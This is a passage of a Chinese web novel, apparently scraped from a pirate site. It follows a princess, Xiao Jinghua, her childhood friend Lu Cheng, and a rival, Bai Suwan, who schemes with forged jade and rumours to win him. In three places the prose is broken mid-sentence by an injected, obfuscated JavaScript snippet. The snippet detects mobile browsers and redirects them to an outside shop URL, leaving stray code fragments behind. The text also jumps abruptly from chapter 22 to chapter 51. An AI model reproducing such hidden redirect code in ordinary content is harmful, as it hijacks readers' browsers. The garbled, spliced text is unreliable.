因发了热,她的面色比昨日红润了不少,看起来有些好转。 萧婧华瞧了两眼便收回了视线,坐在凳子上低头看着指尖。 小伤好得快,这会已经感觉不到疼了。 她怔愣着发呆。 巳时末,白素婉迷迷糊糊醒了一次,呢喃着要水。 正好药煎好了,箬竹箬兰给她喂了药又喂了水,她喝完后又睡了过去。 兰芳只歇了两个时辰,便牢牢守在白素婉身边,一眼不错地看着她。 萧婧华放任她不管,只在一旁坐着。 未见陆埕身影,她疑惑又茫然。 昨日白素婉受伤,陆埕瞧着那般着急,可今日,却连人影都找不着,只让孟年来确认了她的安危。 是太忙了吧。 萧婧华恹恹地想。 隔日箬兰去取早膳,却是空手而归,对萧婧华无奈道:“郡主,王爷发话了,说是两日没见到您的影子,让您今晨必须同他用膳。” 萧婧华哭笑不得,心里却暖意丛生,“好,我这就去。” 到正院时,恭亲王正在用燕窝粥,听见动静,连个眼风都没甩。 萧婧华镇定自若地落座,支使侍女给自己舀粥。 恭亲王放下白瓷碗,用帕子擦了嘴,“你这两日忙什么呢?” 酸溜溜道:“连陪父王用顿饭的时间都没。” 萧婧华小口吃着粥,“有个姑娘受了伤,我去看望了。” “哪家的?”恭亲王问。 “父王又不认识,问来作甚。” “你这丫头,父王不认识就不能问了?”恭亲王不虞,“若是个坏心思的把你卖了,我看你上哪儿哭去。” “哪有这么严重。”萧婧华顿住,低声喃喃,“我不知道。” “不知是何意?” 见女儿竖起眉,明显不想谈这姑娘,恭亲王只好转移话题,“陆埕近来办了件大事。” 萧婧华抬眼,咽下嘴里的粥,“什么大事?” “你皇伯父为你姑祖母修堰这事,你知道吧?” “这都是几年前的事了,父王说这个作甚。”萧婧华不解。 她的姑祖母新昌大长公主,可是位传奇人物。 姑祖母的父亲,也就是她的曾祖太/祖皇帝当年乃是前朝勋贵后裔,却因皇帝昏聩,小人作祟,被满门抄斩。 曾祖侥幸逃脱,蛰伏多年,在乱世来临时集结豪杰,揭竿起义,建立了如今的大盛朝。 那位姑祖母生于军中,习得一身好武艺,自幼跟随曾祖征战四方,是名战功赫赫的女将军。 当时盛朝初立,内忧外患,姑祖母毅然决然带着驸马镇守边关,抵御外敌入侵,长达数十年。她那一支如今已扎根边城,守护大盛黎民百姓。 在萧婧华的记忆里,每到年关,姑祖母会拖家带口回到京城,与家人团聚。那段时日皇祖父能高兴地多吃一碗饭。 直到她年迈,经不起舟车劳顿后,才让子孙代她回京。 五年前,姑祖母生了场大病,险些没熬过去。皇祖父在长秋殿里闷了一夜,将皇位丢给皇伯父,带着皇祖母远赴边疆看望姐姐。 从那以后,他便与皇祖母云游天下,多年未归。若非她时不时能收到皇祖父寄来的物件,她都要担心他们是不是出了意外。 皇伯父继位后,宁城水灾泛滥,民不聊生。他便以姑祖母与姑祖父名讳,命工部建清居堰,既是为姑祖母积德累善,也是造福百姓。 建了这么多年,听说都快竣工了,与陆埕有何关系? 萧婧华骤然想起来,这关系可大了。 陆埕高中后先是在翰林院待了两年,后来去了工部,清居堰督造一事有他一份。 正想着,忽然听恭亲王道:“朝中有人用清居堰敛财,陆埕前段时间,查的便是此事。” 萧婧华霍然抬头,震惊道:“那人不要命了?” 且不谈皇伯父对姑祖母有多尊敬,那堰修来造福的也是百姓,这种利国利民之事,也有人敢沾染? 恭亲王沉着脸,显然也是极为恼恨,“利字当头,有什么不敢的。” 别说皇兄了,他听说此事时,也恨不得一刀砍了程迁的脑袋。 “陆埕这事办得不错。” 恭亲王缓了神色,难得夸奖。 萧婧华与有荣焉,“他一直都很出色。” 恭亲王见不得她这副不值钱的模样,嫌弃道:“吃完了就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221727|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,你爹我还得进宫。” 萧婧华笑了声,抓紧时间,吃完就跑。 去医馆的路上,她还在为陆埕欣喜。 他查了件大案,也不知皇伯父会奖励他什么。 是金银珠宝,还是给他升官? 应当是后者吧。 “郡主,医馆到了。” 箬竹掀起帘子,往外头看了一眼。 与此同时,马车也渐渐停下。 萧婧华不再胡思乱想,躬身下了马车。 医馆今日患者不少,她瞄了眼忙不过来的老大夫,打了声招呼,径直去了后院。 片刻后,她匆匆出来,拦住抓药的小药童,“屋里怎么是空的,白姑娘呢?” 小药童愣了愣,猛然想起了什么,自责道:“方才忘了与郡主说,今个早晨,白姑娘醒了,说是要回家。正巧陆大人来探望,将她带走了。” 萧婧华怔怔出声,“他们走了?” “是啊。” 她听见自己的声音,“你可知白姑娘的家在何处?” 小药童摇头,“这就不得而知了。不过我听陆大人说要送她回平仙巷。” “多谢。” 离开医馆,萧婧华上了马车,对马夫道:“去平仙巷。” 平仙巷里住的大多是普通百姓,若非白素婉之故,萧婧华甚至不知京中有这条巷子。 马夫应声,扬起马鞭,调转方向。 走到半道,温和的嗓音在车外响起,“车内可是郡主?” 萧婧华长眉微蹙,箬竹卷起车帘,露出外头的人影。 男子高坐马上,一手拉着马缰,偏头望着车内。 肤色白皙,五官俊俏,剑眉星目,唇角轻扬,称得上一声玉面郎君。 气质平和,一身月白色暗纹锦袍给他增色不少,给人如沐春风之感。 萧婧华打量着他,似是在辨认此人是谁。 那人并不窘迫,反而坦然一笑,自报家门,“宣远伯府邵嘉远,见过郡主。” 萧婧华想起来了。 宣远伯府曾经也是显贵人家,前些年老伯爷犯了错被她皇祖父责罚,从那以后便失了势。 但隐隐听说他们家世子倒是颇有才华,好像就是叫邵嘉远。 她微颔首,“邵世子。” 邵嘉远扬唇一笑,温文尔雅,“不知郡主是要往何处去?” 萧婧华敛下眼睑,心中不悦。 头一次见面,别说交情,她下次能不能记住他还不一定,谁给他的胆子问她的行踪? 他们很熟吗? 似是发觉她面色不虞,邵嘉远敛了笑,低声道:“是我逾距了。” 萧婧华没工夫与他计较,正要吩咐马夫驱车,又听邵嘉远迟疑着问:“郡主可是要去寻陆埕,陆大人?” 萧婧华恼了,“你……” “郡主莫怪。” 邵嘉远低声致歉,眉心皱着,“那位陆大人既已另觅良缘,郡主何故寻他,徒惹伤心?” 语气含着隐怒,似在为她不平。 萧婧华眸光滞住。 “你说什么?” 21. 第 21 章 邵嘉远犹疑道:“郡主不知么,白姑娘为陆大人去了半条命的事传开了。今个早晨,陆大人亲自带着白姑娘回府,都说他这次必会迎白姑娘进门……” 瞧着车内少女难看的脸色,剩下的话他说不下去了。 萧婧华霍地拉下车帘,冷声道:“走。” “郡主……” 马车快速从眼前驶过,邵嘉远盯着逐渐远去的黑点看了许久,幽幽一叹。 平仙巷口狭窄,马车进不去,萧婧华弃车,步行进了巷子。 巷内多是普通人家,忽然来了个衣着富贵,一看便是大户人家的姑娘,不由引起邻里注意,纷纷将目光瞥向她。 萧婧华四处睃巡,注意到一名衣着整洁的婶子。 箬竹顺着看过去,上前询问:“大娘,这附近可住了一名姓白的姑娘?” 婶子肤色微黄,掺了白的头发用木簪固定,眉心三道褶子,看着虽严肃,但目光清正,闻言上下将她打量一眼,语气不善道:“你们找她作甚?” 箬竹神色不变,“那位姑娘前几日受了伤,我们家姑娘受人之托照看她,谁知今日她已不在医馆,姑娘放心不下,听说她住在这儿,便寻过来了。” 婶子面色好看不少,又瞅了眼她身后的萧婧华和箬兰,瞧着不像恶人,便道:“你们来晚了,她已经走了。” “走了?为什么走?”箬竹惊讶,“她身上还有伤,能去哪儿?” 婶子撇嘴,觑了眼对面院子紧闭的房门,一脸嫌恶,“白姑娘赁的屋子的房主家中来了个远房亲戚,非说这屋子是他的,今个儿把白姑娘的东西全给丢出了门。碰巧白姑娘回来,任凭她那丫鬟怎么敲门,那人都不开,没办法,送她回来那公子只好把她带走了。” “至于去了哪儿,这我就不知道了。” 箬竹还想再问,身后听完全程的萧婧华出声唤她,“箬竹,我们走吧。” “诶。”箬竹应声,从怀中掏出两锭银子,塞进大婶怀里,“多谢。” 大婶瞠目结舌。 “哎,姑娘!” 她只是说了几句话,就给她二两银子?可真大方。 大婶想将银子还回去,箬竹却已走出好长一截。她腿脚慢,追了几步没追上,眼睁睁看着那主仆三人走远了。 “钱大娘,她们是在做什么的?”邻家大娘够着脑袋,目光一个劲地往她怀里钻。 钱大娘白她一眼,恶声恶气,“关你什么事!” 转身回家,“砰”一声关上大门。 “和这种人当邻居,倒了八辈子霉,我呸!”邻家大娘啐了一口,气冲冲地回去洗衣裳。 …… “郡主,咱们现在去哪儿?”箬兰忐忑地问。 萧婧华深深吸气,“去陆府。” “去陆府作……”箬兰猛地顿住,不可置信地倒吸一口凉气,拉住箬竹的袖子,恨恨道:“郡主是怀疑,陆大人把那姓白的女人带回家了?!” 箬竹叹气,“应当是。” “他怎么能……”在箬兰破口大骂之前,箬竹眼疾手快捂住她的嘴,头疼道:“别骂了,走吧。” 箬兰拉开她的手,忿忿咬唇。 …… 萧婧华从来不知道,原来白素婉住的平仙巷离陆府只有两条街。 路过一间茶馆,她明明不想听,可议论声仿佛追逐花蜜的蜂,锲而不舍、源源不断地钻进她耳中。 “那么锋利的刀,白姑娘是怎么想的,居然挡了上去。” “哎,她对陆大人可真是一片痴心。” “你说他们能修成正果吗?” “都舍命相救了,你说呢?” “有郡主在,难。” “白姑娘都为陆大人舍了半条命,陆大人若是不给她一个交待,算什么男人。他若真为白姑娘着想,就该干脆利落地拒绝郡主,迎娶白姑娘过门才对。” “那尊贵的郡主娘娘想要什么男人不好,偏偏要和白姑娘抢男人,不就是看白姑娘位卑言轻,家无权势嘛。” 他们的话语化为针,变成剑,将她的心扎得千疮百孔,伤痕累累。 仿佛忘了,她与陆埕青梅竹马,从小陪伴他的人,是她。 萧婧华想让他们闭嘴,可平民百姓的闲言碎语,她堵了一次,能堵一辈子吗? 她只能避开。 脚步杂乱无章,踉跄一步。 箬竹箬兰慌忙扶住她,“郡主。” “我没事。” 萧婧华茫然轻喃,“走吧。” 许是听见那一声“郡主”,先前嗡嗡的议论声停了。即便不曾回头,她也能感受到身后或忌惮或打量或害怕的目光。 深吸一口气,萧婧华抬头挺胸,稳步前行。 到陆府后,听完瘸腿大爷通报,殷姑匆匆而来,面上挂笑,“郡主来了。” 她迎了萧婧华进去,主动道:“小埕今早带了名姑娘回来,听说救了他一命。那姑娘没处可去,暂时在咱们府上落脚,我把她安置在后院客房了。” 萧婧华浅笑,“我知道,今个儿去医馆没找着人,听说她在陆家,我便来看看。” 听说?听谁说的? 殷姑脚步一顿。 但见萧婧华神色如常,她按捺住疑惑,含笑道:“小埕不在,我正要去给她煎药,你们既然相识,那去陪她说说话。” 说着,殷姑叹了一声,“瞧她伤得不轻,这么重的恩情,也不知该如何偿还。” 箬兰没好气地翻白眼,那姓白的明摆着想要陆大人以身相许,能怎么还? 萧婧华没搭话。 客房到了,殷姑驻足,“进去吧,我去厨房煎药。” 萧婧华颔首。 箬竹上前两步,轻敲房门。 “请进。” 里头传来虚弱轻柔的女声。 萧婧华稍顿了顿,顺着箬竹推开的房门走了进去。 陆埕母子三人与族人几乎算是断了亲,陆夫人娘家又离得远,客房用处不大,因而布置得甚是简陋。 屋里很是亮堂,白素婉半靠在床上,面色苍白,孱弱无力。 兰芳坐在她身旁,紧张地盯着她,生怕她有个好歹。 见了来人,主仆二人均是一怔。 萧婧华清楚地看见,白素婉清澈的眸子里,有失望一闪而逝。 她挣扎着起身,要与她见礼,“见、见过郡主……” 萧婧华启唇,“你伤未愈,不必在意这些虚礼,先躺着吧。” 兰芳忙把自家主子扶着靠在软枕上。 白素婉唇畔露出浅淡的笑,为惨白的脸添了一丝光彩,她说话很是费力,语速很慢,似乎每个尾音都夹杂着痛意。 “素婉听兰芳说了,若是没有郡主的药,我可能早就去见阎王爷了。” “应该的。若非因为陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233798|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埕,你也不会逢此大难。” 萧婧华在凳上落座。 她凝了白素婉许久,欲言又止。 白素婉柔声道:“郡主有话但说无妨。” “那我便直言了。” 除了在陆埕面前,萧婧华从不扭捏,“听说你之所以来到京城,是因你父与后母欲将你卖了?” 兰芳变了脸色,“我家姑娘还伤着,郡主何故来挖苦她!” “兰芳!” 白素婉低声呵斥,“这是事实,何来的挖苦?” 她半垂着头,旁人或许看不清神色,但兰芳清清楚楚地看见自家姑娘面无表情的脸,与眸中涌动的暗流。 她一阵心疼,却只能咬唇,“兰芳口不择言,郡主莫怪。” 萧婧华犯不着和一个小侍女生气,斜睨她一眼,继续与白素婉道:“你一个弱女子,身边又带着婢女,无依无靠,往后若是你父亲寻来,你当如何?” 藏在被子里的手捏成拳,白素婉咬着下唇,“盛朝这么大,父亲不过一届商人,如何能得知我在京城?” “万一呢?”萧婧华反问:“行商之人的消息,不该灵通吗?” 白素婉不说话了。 此事她早有对策,却不能对萧婧华言明,只好缄默。 萧婧华道:“这次你救了陆埕一命,我心中感激,愿助你一程。” 白素婉意外,“郡主想如何助我?” “我放出消息,说你已殒命,演一出金蝉脱壳的戏。到时你父亲若是寻上门来,得知此事,自会打道回府。随后,你以我远房表亲的身份入住恭亲王府,你想要荣华富贵,我便给你身份,想要一门好亲事,我亲自为你寻觅如意郎君,如何?” 说实话,白素婉心动了。 她费尽心思逃离那个火坑,不择手段赖上陆埕,不就是想让自己过得好吗? 可想起那张清冷俊逸的脸,她心中犹疑不定。 那样出色的男子,恐怕这世上,少有人无法动心吧。 她是俗人,春心早已萌动。 游移间,又听萧婧华道:“只要你答应我一个条件。” 白素婉下意识反问:“什么条件?” “往后,别再出现在陆埕面前。” 风吹动门外杨柳,素衫随风舞动,挺拔的身影站在光影中,似从天而降的神祇,轻易拨动她的心弦。 刹那间,权衡利弊被白素婉抛之脑后,她挣扎着下榻跪在床前,煞白小脸瞬间泪流满面,哭着对萧婧华道:“郡主,白素婉虽出身卑微,低如尘埃,但我也有一颗真心,满腔真情。我对陆大人之心天地可鉴,你怎能、怎能用这些黄白之物贬低我、轻视我,甚至于侮辱我?!” 她哭得梨花带雨,胸前缠着白布,隐隐透出血色。单薄的身子轻颤,眉头因痛苦而紧皱,仿佛下一瞬便会晕厥过去。 思绪还未理清,身体已为她做出选择。 萧婧华懵了,“我、我什么时候侮辱你了?” 钱财、地位、姻缘,样样为她打算,这哪是侮辱? 萧婧华不解,只觉这其中有误会,再度开口,“我未辱你,只是想予你金钱地位和好姻缘,只要你不再出现在陆埕面前。” 一听这话,白素婉哭得更起劲了,仿佛受到了极大的羞辱。 担心她伤势加重,萧婧华蹙眉,“你莫哭了,我……” 沉闷的叩门声将之打断。 22. 第 22 章 清冽的风由远及近,萧婧华偏头,对上陆埕平静的脸。 “陆……” “陆大人!” 白素婉哭得好不可怜,双臂拄地,艰难匍匐向前,拽住陆埕衣摆。 “素婉绝非贪图富贵之人,绝不受此侮辱。” 眼泪顺着下巴滴落,有血自胸口渗出,染红了纱布。 兰芳跪在白素婉身边,满目心疼担忧,“姑娘,您别说了,小心伤口裂开。” 萧婧华还想解释,“我没有那个意思……” “别说了,求您别说了……”白素婉泪如雨下。 萧婧华不知所措。 转眼间,她看见陆埕垂眸,对兰芳道:“还不快把你家姑娘扶起来?” 白素婉的哭声一停,兰芳满目茫然。 箬竹机灵,三两步上前,小心搀扶住她,微笑道:“白姑娘,我扶你。” 箬兰反应过来,也上去帮忙。 白素婉回了榻,陆埕对兰芳道:“给你家姑娘换药,我去叫大夫。” 兰芳偷看自家姑娘,见她面色不好,喏喏应是。 出了门,陆埕低头看萧婧华,“你……” “我在这儿等着。” 陆埕点了下头,转身出府。 “这姓白的不去唱戏,真是可惜了。” 陆埕走远后,箬兰似赞似讽地来了一句,“若她身上没伤,我真想撕了她的嘴,让她哭个够。” 萧婧华心情低落,本不想搭话,闻言仍道:“她一个没依靠的弱女子,你和她计较什么。” “郡主!您难道没看出来吗?”箬兰气得直跺脚,“她方才就是算准了陆大人会出现,故意演给他看的!” “是吗?”萧婧华向箬竹求证。 箬竹摇头,柔声道:“奴婢愚钝,看不破白姑娘此举,郡主觉得呢?” 阳光穿云而过,坠落人间。 长睫卷翘,根根分明,似蝉翼轻颤。 她静默许久,并未答复。 不知过了多久,陆埕带着那姓陈的老大夫回来。 后者径直去了房间,不一会儿,便传来他训斥的声音,“这么重的伤,不好好养着,胡闹什么?” 兰芳的啜泣与白素婉低低的痛呼一并响起。 良久,陈大夫推开门出来,没好气道:“行了,没什么大碍,往后必须小心养护,别刺激到她。” 道了谢,陆埕与萧婧华一道送他出府。 站在门前石阶上,萧婧华骤然出声,“你有什么话,直说吧。” 若是责怪,她也不接受。 对白素婉说出那番话,虽是听到别人谈话后的冲动之举,但她什么也没做错,凭什么怪她? 箬竹箬兰自觉避开。 陆埕默了两息,“白姑娘因我受伤,我会让她留在陆府,直至痊愈。这段时日,你暂时先别过来,让她好好养伤。” 这几日他忙着为案子收尾,加之白素婉的伤实在触目惊心,有些事便被忽略了。 此刻才觉出几分不对。 白素婉出现的时机太巧了,仿佛早就知晓他的所在。 若说是巧合,那处地界颇为偏僻,最热闹的便是赌坊,多是地痞泼皮。她一个弱女子,带着侍女去那种地方做什么? 且就这么巧,她竟没了住处。 陆埕总觉得有些不对,顺水推舟把她带了回来,想查个一清二楚。 那日白素婉为他挡刀,他心中愧疚,这才让萧婧华照看一二,如今却觉不妥。 以防万一,待他查明之前,还是不要再让她们接触了。 风声猎猎,萧婧华整个人都愣住了。不是想象中的责怪,却比责怪更让人痛心。 她抬眼,眸中有泪水打转,声声质问:“你没听外头在传吗?都说白素婉对你一片痴心,心甘情愿为你付出性命。你不娶她过门,便是不识好歹,忘恩负义!你将她留下,甚至不许我过府,难不成还真想娶她?!” “胡说八道什么!”陆埕眉心堆蹙,低斥道:“我与白姑娘清清白白,外头那些流言蜚语皆是无稽之谈,无凭无据,如何能信?” 都住在一个屋檐下了,还清清白白?! 就算以前是清白的,今日过后,事情若传了出去,还能洗脱得了吗? 萧婧华感到可笑。 将泪意逼回去,她努力让自己平静下来,轻声问:“你是不是,送了她一枚玉佩?” “是。” 肯定的答复,令萧婧华眼前一阵晕眩。 她告诉自己,所有的一切都是猜测,抱着一丝希望,她能若无其事地照看白素婉,心平气和地和他说话。 可猜测得到证实,心里宛如刮了一场罡风。 她好似陷入沼泽中,浑身动弹不得,无数只鬼手拉扯着她的脚踝,意图坠她入深渊。 “为什么?”萧婧华哽声,“你明知道那玉佩……” “一块玉而已,给就给了。” 陆埕并未察觉萧婧华话里隐藏的泣音。他利用白素婉那枚香囊抽丝剥茧找到张骏的容身之处,事后给了银钱,她想买玉便买,他也管不着。各取所需而已,这有何能令她在意的? 陆埕有些头疼。 这两年,她的性子越发骄纵了。 耐着性子解释一句,“她帮我……” 一块玉而已,他竟然说那只是一块玉而已?! 他竟然这般糟践她的心意! 萧婧华不可置信地睁大眼,脑海里不停地回荡他的话。埋藏已久的委屈怒火尽数吐露,尖声将他打断,“陆埕,你混蛋,混账!滚,我不想看见你!滚啊!” 她不管了,什么白素婉,管她和陆埕什么关系,她再也不想管了! 对上萧婧华愤怒的脸,陆埕顿时停了话音。 “你为何……” “我让你滚!” 不知她为何如此激动,陆埕探手,擦去她腮边的泪,依旧是那副冷静到一成不变的模样,“我该回官署了,你也回吧。这几日先别过来。” 程迁虽已落网,但后续事宜还需要他出面,出来这么久,该回去了。 既然不想看见他,让她自己平静平静也好。 他离开得那么干脆利落,萧婧华看着他走远,脸庞淌满了泪。 荒谬、可笑、委屈……各种各样的情绪在脑中滋生,几乎要将她的头挤爆了。 她那么在意那块玉佩,可他却满不在乎,随手赠给她人。 那个人,还是对他心怀爱慕的女子。 多好笑啊。 陆埕的身影消失在门外。 她已经数不清,这是多少次凝望他的背影。 可这回,她头一次觉得。 她累了。 “郡主。” 箬竹拉着箬兰追上来,触及她脸上的泪,惊了一瞬,忙为她擦泪,“您和陆大人怎么了?” “没怎么。” 萧婧华挥开她的手,本想装作和陆埕一样的毫不在乎,但终究忍不了委屈,抱着箬竹嚎啕大哭,“箬竹,他怎么能这么对我,他怎么可以这样对我!” 箬竹不明所以,但心疼得心都要碎了。箬兰轻拍她的背,面上咬牙切齿,口中柔声安慰,“郡主不哭,不哭不哭。咱们回家,回家就没人给郡主委屈受了。” 守门的瘸腿大爷听见动静,支着脑袋观望,“郡主怎么了?” 箬兰挡住他的视线,恶声恶气道:“没事!” 瘸腿大爷头缩了回去。 萧婧华伏在箬竹肩头,强行止了哭泣。 大庭广众之下,有外人在,她绝不会让人看她的笑话。 擦干泪,萧婧华红着眼上了马车。 回到春栖院,把所有人赶了出去,萧婧华趴在枕头上哭。 她哭得肆无忌惮,似乎想把这段时间受的委屈全部用眼泪发泄出来。 门外。 箬兰听到里头的哭声,焦心不已,绕着箬竹走来走去。 “怎么办啊,郡主这次瞧着,是真的伤心透了。” “别转了,转的我头晕。” “好好好我不转,你快想想办法。”箬兰停下,拉住箬竹的袖子,“要不去找王爷?或者我往东宫传个信?郡主最是依赖太子殿下,有他在,心里也能好受些。” 箬竹思虑片刻,觉得这不失为一个办法,“那你……” “箬竹姐姐!” 不远处有个小丫鬟小步跑来,箬竹循声看去,见有些面熟,在脑子里搜刮一圈,想起了她的名字。 “怎么了夏菱。” 夏菱跑到二人面前,“汤管家让我把郡主的信送来。” 信? 箬竹接过夏菱手里的信,瞧了一眼后猛地抬头,与箬兰对视一眼,皆从对方眼里看出了喜意。 “箬竹姐姐,郡主怎么了?”夏菱望向紧闭的房门。 “没事。”箬竹摆手,“信给我就行,你先下去吧。” 夏菱乖乖点头。 郡主的大丫鬟只有箬竹箬兰两位姐姐,邱嬷嬷走后,春栖院几乎由她们把持,虽然心里疑惑,但不该问的,她一句也不会过问。 捏着信,箬竹敲了两下房门,“郡主,江姑娘来信了,您不看看吗?” 里头哭声未止,她锲而不舍敲门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“再拿纸来。” 她哽咽。 箬竹连忙取了张干净的纸铺上。 萧婧华提笔落字。 内容欢快,一字一句,尽是喜悦趣事。然而她本人却啪嗒啪嗒掉着泪,哭得好不可怜。 她没注意,有滴泪从角落划过,在纸上留下一道水痕。 写完,萧婧华把信封交给箬竹,“送出去吧。” 箬竹应了声,心里想着,还是要往东宫递个信才是。 …… 廊下无人,唯余风过时吹起檐下灯笼的摩挲响动,与雀鸟振翅的噗嗤声。 脚步声渐近,力大沉闷,略有慌乱。 “嘎吱——” 木门打开又阖上,兰芳仓促奔至榻前,语调慌乱,“姑娘,我出去前瞧见郡主和陆大人在说话,好像是在说玉佩的事。” 长睫轻轻一颤,如羽翼轻展,露出一双沉静的眸子。动了下身子,胸前伤口被牵动,白素婉低哼一声,柳眉蹙起。 “你怕什么?那玉佩的确是陆大人送我的,至于陆大人那枚,不是好好的在他手里?玉佩已毁,即便郡主闹开,她如何说得清?到时,他二人只会愈生嫌隙。” 白素婉也没想到,她当初不过是想多与陆埕接近,才将从张骏身上扯下来的香囊交给他,谁知竟无意间帮了他一个大忙。 这让她想起张骏都没那么恶心了。 听自家姑娘这么一说,兰芳的一颗心才算放下了,不由欣喜,“还是姑娘聪明。” “多亏了你这小丫头过目不忘,早早记下了陆大人玉佩上的纹样。”白素婉苍白小脸浮现出笑容,亲昵地捏着兰芳的脸,“不然,我如何能以假乱真?” 兰芳嘿嘿笑起来。 笑着笑着,笑容渐散,露出犹疑。 白素婉看在眼里,“怎么,让你办的事没办好?” 兰芳迟疑,“我正想说呢,我还什么都没做,关于您和陆大人的流言已经满大街都是了。” 散播流言这种事一回生二回熟,上次她办得极为漂亮,得了姑娘一顿夸,本想着这次能做得更好,可根本就没有她的用武之地,把她气得够呛。 白素婉正色,“你是说,有人帮了我们一把?” 兰芳不确定,“应当……是帮吧?” 白素婉陷入沉思。 今晨她便察觉到了不对,她本不想来陆府,可那么巧,租赁的屋子就出了问题。 冥冥之中,好像有一只手,在助她一臂之力。 “姑娘?”兰芳忐忑地看着她。 “无妨。”白素婉揉着额角,“此事于我们有利,不必多管。” 郡主尊贵张扬,说不准是暗地里结了仇。 那人既助了她,她必要乘着这股东风,一举拿下陆埕,才不枉费他一番良苦用心。 50-60 第51章 乐声骤停,殿内鸦雀无声,众臣纷纷缄默。 在座何人不知,琅华郡主萧婧华,乃陛下胞弟之女,一向得宠。不说待她如珠如宝的恭亲王,便是陛下也如亲女般对待,连所出公主也越不过她去。 这北夷三王子敢打她的主意,野心着实太大。 “哐当”一声,杯盏从手中脱落,在地上摔得粉碎,清亮的酒水淌了满地。 似是被这一声惊醒,朝臣们悄悄打量崇宁帝和恭亲王的神色。 崇宁帝面色平稳,看不出任何异样,倒是恭亲王阴沉着一张脸。 “陆侍郎醉了。” 崇宁帝温声道:“来人,扶陆侍郎下去歇息。” 陆埕脸色苍白,紧握的手背上青筋显露,似在极力隐藏某种情绪。 他隐忍出声,“陛下,臣……” “这段时日,劳累爱卿。” 崇宁帝加重语气,不容置疑道:“既是醉了,便去歇息吧。” 隔着溶溶灯火,陆埕看着高座之上帝王的神色,颓然应声,“多谢陛下。” 他踉跄起身,随着内侍离席。 离开之前,陆埕回眸。 少女独坐高台,明艳似火,一手持着杯盏,目光直射那北夷三王子。 三王子迎着她的视线,不紧不慢地勾唇而笑。 …… 忽略那道灼目视线,阿史那苍笑问:“不知陛下意下如何?” 崇宁帝面色不变,温和道:“今日只谈宴饮,不论其他。” 阿史那苍见好就收,笑着落座,“也对,来日方长。” 他举杯,“小王敬陛下一杯。” 崇宁帝唇畔带笑,一饮而尽。 乐声重新响起,殿内歌舞升平,除了离席的陆埕与众臣不时露出的异样,几乎看不出发生了何事。 萧婧华仰头喝下杯中之酒。 北夷三王子都点名了,定是不会让她去和亲,乐宁心中高兴,可看着琅华“借酒消愁”的模样,又不免有几分不忍,悄声问她,“你是怎么惹了那三王子的眼?” “我怎么知道?” 萧婧华斜她一眼。 转着酒杯,她慢条斯理道:“或许,是我生得太美了,只见一面,就令他不能忘怀?” 乐宁翻白眼,“你就拐着弯地夸自己吧。” 萧婧华笑。 端和伸手摸了摸眼皮,“父皇和皇叔,应当不会让你去和亲吧?” 乐宁想了想,“也对,皇叔就你一个女儿,父皇要是让你嫁去北夷,皇叔不得和他拼命啊?” “你们这么不想让我和亲?”萧婧华又给自己倒了杯酒,慢悠悠饮下后,语气调侃,“我不去,那你们就得去了。” 这话一落,乐宁端和跟商量好似的,飞快坐了回去,低头不语。 萧婧华嘲讽一笑,“出息。” 乐宁双目冒火瞪她。 萧婧华耸肩,亲自给二人斟了杯酒,“和亲一事,也不知是阿史那苍自己的主意,还是北夷可汗的主意,事未落定,担心这么多做什么。也就你们两个蠢货杞人忧天,脸都丢到别人跟前去了。” “你说谁丢脸?!” 乐宁一脸愤怒。 端和眼泪汪汪,“琅华姐姐,你怎能这般说我。” “少装。”萧婧华嫌弃,“昨日若不是你们二人丢人现眼,阿史那苍会跟着你们找到我?” “我要是去和亲,指定是你们害的。” 将酒杯放到二人面前,萧婧华道:“还不快给我敬酒赔罪?” “啊?”乐宁懵了,“昨日,你和他见过面?” 端和愣愣的,“是我们把他引到你跟前去的?” “当然。” 萧婧华掷地有声。 姐妹俩对视一眼,端起酒杯,快速饮下,随后便老老实实坐着,不敢作妖。 萧婧华心里的憋闷散去不少,眼里蓄了笑意,唇瓣沾染几滴酒水,饱满清亮饱满。 宴上人多,乐声似蝉鸣,一声接着一声,她多饮了些酒,被吵得头疼,有些透不过气。 萧婧华起身,悄悄挪到萧长瑾身旁。 后者眼见地瞧见她,对身侧官员说了几句,随后走到她身前。 “哥哥,我出去散散酒气。” 萧婧华低声。 萧长瑾温声颔首,“去吧。” 萧婧华笑着转身。 “婧华。” 身后人将她唤住。 “怎么了?” 萧长瑾轻轻摸了下她额发,语气凝重,“别担心,孤不会让你去和亲。” “我没担心啊。” 萧婧华弯眼,笑容轻松坦然。 “有你们在,我一点也不担心。” 萧长瑾心下微松,温柔道:“去吧。” 少女点点头,转身一步步离开。 光影在她脸上移动,眼里的笑一点点弥散。 离了席,凉爽夜风一吹,肿胀的脑子瞬间清醒了不少。 萧婧华没带箬竹几人,她一走出宫殿,立即有宫人提灯跟上。 她接过提灯,“下去吧,本郡主想自己走走。” 宫人们躬身,“喏。” 这座皇宫对萧婧华来说熟悉得像她第二个家,她提着灯,不知不觉便走到了一处宫殿。 空气中幽香弥漫,月色朦胧,嗅着香气,好似能看见美人月下起舞。 在门前站定,萧婧华歪头想了想。 这好像是二皇兄的生母,柔妃娘娘生前的居所。 据闻柔妃娘娘最爱桂花,每至金秋,她宫里总会蔓出浓烈的桂花香。 年幼时,萧婧华曾见过她几次,是个娇柔的美人。 